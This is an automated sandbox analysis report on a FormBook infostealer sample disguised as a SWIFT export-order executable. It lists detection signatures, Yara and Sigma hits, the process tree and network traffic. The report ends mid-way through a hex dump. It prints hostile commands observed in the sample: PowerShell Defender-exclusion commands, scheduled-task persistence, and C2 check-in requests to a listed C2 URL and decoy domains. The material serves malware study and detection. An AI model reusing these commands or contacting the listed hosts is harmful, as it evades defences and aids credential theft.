Loading ...

Play interactive tourEdit tour

Windows Analysis Report TT_SWIFT_Export Order_noref S10SMG00318021.exe

Overview

General Information

Sample Name:TT_SWIFT_Export Order_noref S10SMG00318021.exe
Analysis ID:528704
MD5:fff91c58119d3cd7f68457e8565f7116
SHA1:4201eb7214bd3658889739e4856412b8063e0405
SHA256:f8c0d385ece89cd926b2c74680c036f9927414955e7ff4ed12b576470b8c1745
Tags:exeFormbook
Infos:

Most interesting Screenshot:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Yara detected AntiVM3
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Multi AV Scanner detection for dropped file
Sample uses process hollowing technique
Maps a DLL or memory area into another process
Initial sample is a PE file and has a suspicious name
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Sigma detected: Suspicius Add Task From User AppData Temp
.NET source code contains potential unpacker
Sigma detected: Powershell Defender Exclusion
Queues an APC in another process (thread injection)
Tries to detect virtualization through RDTSC time measurements
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Adds a directory exclusion to Windows Defender
Uses schtasks.exe or at.exe to add and modify task schedules
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Sample file is different than original file name gathered from version info
PE file contains strange resources
Drops PE files
Contains functionality to read the PEB
Checks if the current process is being debugged
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

  • System is w10x64
  • TT_SWIFT_Export Order_noref S10SMG00318021.exe (PID: 3456 cmdline: "C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe" MD5: FFF91C58119D3CD7F68457E8565F7116)
    • powershell.exe (PID: 2540 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
      • conhost.exe (PID: 5812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • powershell.exe (PID: 6252 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\AnsPejV.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
      • conhost.exe (PID: 6260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • schtasks.exe (PID: 6360 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\AnsPejV" /XML "C:\Users\user\AppData\Local\Temp\tmp3FD.tmp MD5: 15FF7D8324231381BAD48A052F85DF04)
      • conhost.exe (PID: 6396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • TT_SWIFT_Export Order_noref S10SMG00318021.exe (PID: 6448 cmdline: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe MD5: FFF91C58119D3CD7F68457E8565F7116)
      • explorer.exe (PID: 3472 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
      • autochk.exe (PID: 1884 cmdline: C:\Windows\SysWOW64\autochk.exe MD5: 34236DB574405291498BCD13D20C42EB)
      • help.exe (PID: 4592 cmdline: C:\Windows\SysWOW64\help.exe MD5: 09A715036F14D3632AD03B52D1DA6BFF)
  • cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.liberia-infos.net/46uq/"], "decoy": ["beardeddentguy.com", "envirobombs.com", "mintbox.pro", "xiangpusun.com", "pyjama-france.com", "mendocinocountylive.com", "innovativepropsolutions.com", "hpsaddlerock.com", "qrmaindonesia.com", "liphelp.com", "archaeaenergy.info", "18446744073709551615.com", "littlecreekacresri.com", "elderlycareacademy.com", "drshivanieyecare.com", "ashibumi.com", "stevenalexandergolf.com", "adoratv.net", "visitnewrichmond.com", "fxbvanpool.com", "aarondecker.online", "environmentalkivul.com", "cardsncrepes.com", "hopdongdientu-viettel.com", "thebroughtguarantee.com", "howtofindahotniche.com", "1678600.win", "pityana.com", "akconsultoria.com", "markazkreasindo.com", "ronniecapitol.com", "tailsontour.com", "abros88.com", "laboratoriodentaltj.com", "fuckingmom86.xyz", "5pz59.com", "centralmadu.com", "ispecwar.com", "otetransportanddispatching.com", "cartaovirtual.net", "hsadmin.xyz", "xn--12c2bed4dxay5cxdh1s.online", "oki-net.com", "scenekidfancams.com", "preciousmugs.com", "754711.com", "helpigservices.com", "blueharepress.com", "xmshzs.com", "lovelycharlestonhomes.com", "wamhsh.com", "burlesquercize.com", "oppoexch.com", "ditjai.tech", "the-hausd-group.com", "loosebland.website", "syntheticloot.net", "gzfusco.com", "www-by.com", "farraztravel.com", "beheld3d.art", "douyababy.space", "elcuerpohumano.xyz", "3soap.com"]}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000B.00000000.310910025.000000000E481000.00000040.00020000.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
    0000000B.00000000.310910025.000000000E481000.00000040.00020000.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
    • 0x46c5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
    • 0x41b1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
    • 0x47c7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
    • 0x493f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
    • 0x342c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
    • 0x9bb7:$sequence_8: 3C 54 74 04 3C 74 75 F4
    • 0xac6a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
    0000000B.00000000.310910025.000000000E481000.00000040.00020000.sdmpFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
    • 0x6ae9:$sqlite3step: 68 34 1C 7B E1
    • 0x6bfc:$sqlite3step: 68 34 1C 7B E1
    • 0x6b18:$sqlite3text: 68 38 2A 90 C5
    • 0x6c3d:$sqlite3text: 68 38 2A 90 C5
    • 0x6b2b:$sqlite3blob: 68 53 D8 7F 8C
    • 0x6c53:$sqlite3blob: 68 53 D8 7F 8C
    00000014.00000002.504518924.0000000000C00000.00000004.00000001.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
      00000014.00000002.504518924.0000000000C00000.00000004.00000001.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
      • 0x8618:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x89b2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x146c5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
      • 0x141b1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
      • 0x147c7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
      • 0x1493f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
      • 0x93ca:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
      • 0x1342c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
      • 0xa142:$sequence_7: 66 89 0C 02 5B 8B E5 5D
      • 0x19bb7:$sequence_8: 3C 54 74 04 3C 74 75 F4
      • 0x1ac6a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
      Click to see the 34 entries

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
        8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
        • 0x7818:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
        • 0x7bb2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
        • 0x138c5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
        • 0x133b1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
        • 0x139c7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
        • 0x13b3f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
        • 0x85ca:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
        • 0x1262c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
        • 0x9342:$sequence_7: 66 89 0C 02 5B 8B E5 5D
        • 0x18db7:$sequence_8: 3C 54 74 04 3C 74 75 F4
        • 0x19e6a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
        8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.unpackFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
        • 0x15ce9:$sqlite3step: 68 34 1C 7B E1
        • 0x15dfc:$sqlite3step: 68 34 1C 7B E1
        • 0x15d18:$sqlite3text: 68 38 2A 90 C5
        • 0x15e3d:$sqlite3text: 68 38 2A 90 C5
        • 0x15d2b:$sqlite3blob: 68 53 D8 7F 8C
        • 0x15e53:$sqlite3blob: 68 53 D8 7F 8C
        8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.raw.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
          8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.raw.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
          • 0x8618:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x89b2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x146c5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
          • 0x141b1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
          • 0x147c7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
          • 0x1493f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
          • 0x93ca:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
          • 0x1342c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
          • 0xa142:$sequence_7: 66 89 0C 02 5B 8B E5 5D
          • 0x19bb7:$sequence_8: 3C 54 74 04 3C 74 75 F4
          • 0x1ac6a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
          Click to see the 17 entries

          Sigma Overview

          System Summary:

          barindex
          Sigma detected: Suspicius Add Task From User AppData TempShow sources
          Source: Process startedAuthor: frack113: Data: Command: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\AnsPejV" /XML "C:\Users\user\AppData\Local\Temp\tmp3FD.tmp, CommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\AnsPejV" /XML "C:\Users\user\AppData\Local\Temp\tmp3FD.tmp, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe" , ParentImage: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe, ParentProcessId: 3456, ProcessCommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\AnsPejV" /XML "C:\Users\user\AppData\Local\Temp\tmp3FD.tmp, ProcessId: 6360
          Sigma detected: Powershell Defender ExclusionShow sources
          Source: Process startedAuthor: Florian Roth: Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe" , ParentImage: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe, ParentProcessId: 3456, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe, ProcessId: 2540
          Sigma detected: Non Interactive PowerShellShow sources
          Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe" , ParentImage: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe, ParentProcessId: 3456, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe, ProcessId: 2540
          Sigma detected: T1086 PowerShell ExecutionShow sources
          Source: Pipe createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132823638078737098.2540.DefaultAppDomain.powershell

          Jbx Signature Overview

          Click to jump to signature section

          Show All Signature Results

          AV Detection:

          barindex
          Found malware configurationShow sources
          Source: 00000000.00000002.263971290.0000000003C7D000.00000004.00000001.sdmpMalware Configuration Extractor: FormBook {"C2 list": ["www.liberia-infos.net/46uq/"], "decoy": ["beardeddentguy.com", "envirobombs.com", "mintbox.pro", "xiangpusun.com", "pyjama-france.com", "mendocinocountylive.com", "innovativepropsolutions.com", "hpsaddlerock.com", "qrmaindonesia.com", "liphelp.com", "archaeaenergy.info", "18446744073709551615.com", "littlecreekacresri.com", "elderlycareacademy.com", "drshivanieyecare.com", "ashibumi.com", "stevenalexandergolf.com", "adoratv.net", "visitnewrichmond.com", "fxbvanpool.com", "aarondecker.online", "environmentalkivul.com", "cardsncrepes.com", "hopdongdientu-viettel.com", "thebroughtguarantee.com", "howtofindahotniche.com", "1678600.win", "pityana.com", "akconsultoria.com", "markazkreasindo.com", "ronniecapitol.com", "tailsontour.com", "abros88.com", "laboratoriodentaltj.com", "fuckingmom86.xyz", "5pz59.com", "centralmadu.com", "ispecwar.com", "otetransportanddispatching.com", "cartaovirtual.net", "hsadmin.xyz", "xn--12c2bed4dxay5cxdh1s.online", "oki-net.com", "scenekidfancams.com", "preciousmugs.com", "754711.com", "helpigservices.com", "blueharepress.com", "xmshzs.com", "lovelycharlestonhomes.com", "wamhsh.com", "burlesquercize.com", "oppoexch.com", "ditjai.tech", "the-hausd-group.com", "loosebland.website", "syntheticloot.net", "gzfusco.com", "www-by.com", "farraztravel.com", "beheld3d.art", "douyababy.space", "elcuerpohumano.xyz", "3soap.com"]}
          Multi AV Scanner detection for submitted fileShow sources
          Source: TT_SWIFT_Export Order_noref S10SMG00318021.exeReversingLabs: Detection: 35%
          Yara detected FormBookShow sources
          Source: Yara matchFile source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000000B.00000000.310910025.000000000E481000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.504518924.0000000000C00000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.263971290.0000000003C7D000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.501501248.00000000006B0000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000002.352931586.0000000000F20000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000B.00000000.291860660.000000000E481000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000000.257794337.0000000000400000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000002.353085483.0000000001360000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.264376295.0000000003EE5000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.501943863.0000000000900000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000000.256828803.0000000000400000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000002.352440743.0000000000400000.00000040.00000001.sdmp, type: MEMORY
          Antivirus detection for URL or domainShow sources
          Source: http://www.hpsaddlerock.com/46uq/?3fQ0Khi=bs9J1aeGn7//rC5/XQ3RZfL5fo+K3BeziJUGIjAdanx1gP9H8FkBLk3VYXo90D5B+GRs&j0=SFN8Rxuh3Avira URL Cloud: Label: malware
          Source: www.liberia-infos.net/46uq/Avira URL Cloud: Label: malware
          Multi AV Scanner detection for dropped fileShow sources
          Source: C:\Users\user\AppData\Roaming\AnsPejV.exeReversingLabs: Detection: 35%
          Source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.unpackAvira: Label: TR/Crypt.ZPACK.Gen
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.unpackAvira: Label: TR/Crypt.ZPACK.Gen
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.4.unpackAvira: Label: TR/Crypt.ZPACK.Gen
          Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.unpackAvira: Label: TR/Crypt.ZPACK.Gen
          Source: TT_SWIFT_Export Order_noref S10SMG00318021.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
          Source: TT_SWIFT_Export Order_noref S10SMG00318021.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
          Source: Binary string: wntdll.pdbUGP source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000003.262649422.0000000001200000.00000004.00000001.sdmp, TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353122475.00000000013A0000.00000040.00000001.sdmp, TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353352126.00000000014BF000.00000040.00000001.sdmp, help.exe, 00000014.00000002.506159305.000000000305F000.00000040.00000001.sdmp, help.exe, 00000014.00000002.505506351.0000000002F40000.00000040.00000001.sdmp
          Source: Binary string: wntdll.pdb source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000003.262649422.0000000001200000.00000004.00000001.sdmp, TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353122475.00000000013A0000.00000040.00000001.sdmp, TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353352126.00000000014BF000.00000040.00000001.sdmp, help.exe, help.exe, 00000014.00000002.506159305.000000000305F000.00000040.00000001.sdmp, help.exe, 00000014.00000002.505506351.0000000002F40000.00000040.00000001.sdmp
          Source: Binary string: help.pdbGCTL source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353029451.0000000000F70000.00000040.00020000.sdmp
          Source: Binary string: help.pdb source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353029451.0000000000F70000.00000040.00020000.sdmp
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 4x nop then pop esi8_2_0041584A
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 4x nop then pop ebx8_2_00406ABB
          Source: C:\Windows\SysWOW64\help.exeCode function: 4x nop then pop esi20_2_006C584A
          Source: C:\Windows\SysWOW64\help.exeCode function: 4x nop then pop ebx20_2_006B6ABB

          Networking:

          barindex
          Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)Show sources
          Source: TrafficSnort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49823 -> 154.196.11.204:80
          Source: TrafficSnort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49823 -> 154.196.11.204:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49823 -> 154.196.11.204:80
          System process connects to network (likely due to code injection or exploit)Show sources
          Source: C:\Windows\explorer.exeDomain query: www.innovativepropsolutions.com
          Source: C:\Windows\explorer.exeNetwork Connect: 23.227.38.74 80Jump to behavior
          Source: C:\Windows\explorer.exeDomain query: www.aarondecker.online
          Source: C:\Windows\explorer.exeDomain query: www.754711.com
          Source: C:\Windows\explorer.exeDomain query: www.pyjama-france.com
          Source: C:\Windows\explorer.exeDomain query: www.wamhsh.com
          Source: C:\Windows\explorer.exeNetwork Connect: 34.102.136.180 80Jump to behavior
          Source: C:\Windows\explorer.exeDomain query: www.hpsaddlerock.com
          Source: C:\Windows\explorer.exeDomain query: www.blueharepress.com
          Source: C:\Windows\explorer.exeNetwork Connect: 156.226.250.165 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 209.17.116.163 80Jump to behavior
          C2 URLs / IPs found in malware configurationShow sources
          Source: Malware configuration extractorURLs: www.liberia-infos.net/46uq/
          Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
          Source: Joe Sandbox ViewASN Name: XIAOZHIYUN1-AS-APICIDCNETWORKUS XIAOZHIYUN1-AS-APICIDCNETWORKUS
          Source: global trafficHTTP traffic detected: GET /46uq/?3fQ0Khi=Ue3PnYf+WtitO9Jkut75Ma3k2TKhCZznjjMu1kid5hA29ktIECD3KZ7svhzldzsG+GSp&j0=SFN8Rxuh3 HTTP/1.1Host: www.wamhsh.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /46uq/?j0=SFN8Rxuh3&3fQ0Khi=KgIlRYVH25tNYqbEG8kO4R44bHZw5lHi55V8k/E4GGeqoND16iqE+SGGf+ZfndkYvzRB HTTP/1.1Host: www.pyjama-france.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /46uq/?3fQ0Khi=bs9J1aeGn7//rC5/XQ3RZfL5fo+K3BeziJUGIjAdanx1gP9H8FkBLk3VYXo90D5B+GRs&j0=SFN8Rxuh3 HTTP/1.1Host: www.hpsaddlerock.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /46uq/?j0=SFN8Rxuh3&3fQ0Khi=IBlQMs5j29CKqlv3/eZQ6Z47udTwmev2IX+bwOiN2E8lumQwhRgtDV6FzU7U1t+cHC/Y HTTP/1.1Host: www.aarondecker.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: Joe Sandbox ViewIP Address: 23.227.38.74 23.227.38.74
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 25 Nov 2021 16:31:46 GMTServer: ApacheContent-Length: 260Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 77 61 6d 68 73 68 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at www.wamhsh.com Port 80</address></body></html>
          Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 25 Nov 2021 16:31:51 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Sorting-Hat-PodId: 183X-Sorting-Hat-ShopId: 51998097592X-Request-ID: dbaee5ab-3952-40fa-97f1-8e4299a03f3aX-Download-Options: noopenX-Content-Type-Options: nosniffX-Permitted-Cross-Domain-Policies: noneX-XSS-Protection: 1; mode=blockX-Dc: gcp-europe-west1CF-Cache-Status: DYNAMICServer: cloudflareCF-RAY: 6b3c4509ccd05b7a-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 31 34 31 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65 72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b 66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 